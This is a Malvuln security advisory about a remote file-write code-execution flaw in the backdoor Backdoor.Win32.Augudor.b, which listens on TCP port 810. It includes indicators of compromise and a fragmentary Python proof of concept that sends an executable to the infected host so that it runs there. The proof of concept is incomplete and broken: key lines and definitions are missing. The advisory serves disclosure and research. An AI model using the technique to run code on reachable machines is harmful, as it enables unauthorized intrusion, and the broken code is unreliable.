Authored by malvuln | Site

Backdoor.Win32.Augudor.b malware suffers from a code execution vulnerability.

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Augudor.b
Vulnerability: Remote File Write Code Execution
Description: The malware drops an empty file named "zy.exe" and listens on TCP port 810. Third-party adversaries who can reach the infected host can write executable code to the empty "zy.exe" file on the system via a socket program and it will execute as soon as the binary transfer has completed. Successfully tested with a 880 byte executable.
Family: Augudor
Type: PE32
MD5: 94ccd337cbdd4efbbcc0a6c888abb87d
Vuln ID: MVID-2022-0644
Dropped files: zy.exe
Disclosure: 09/25/2022

from socket import *

DOOM="DOOM_SM.exe" #880 bytes

def doit():
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")

while EXE:


print("By Malvuln");

if __name__=="__main__":

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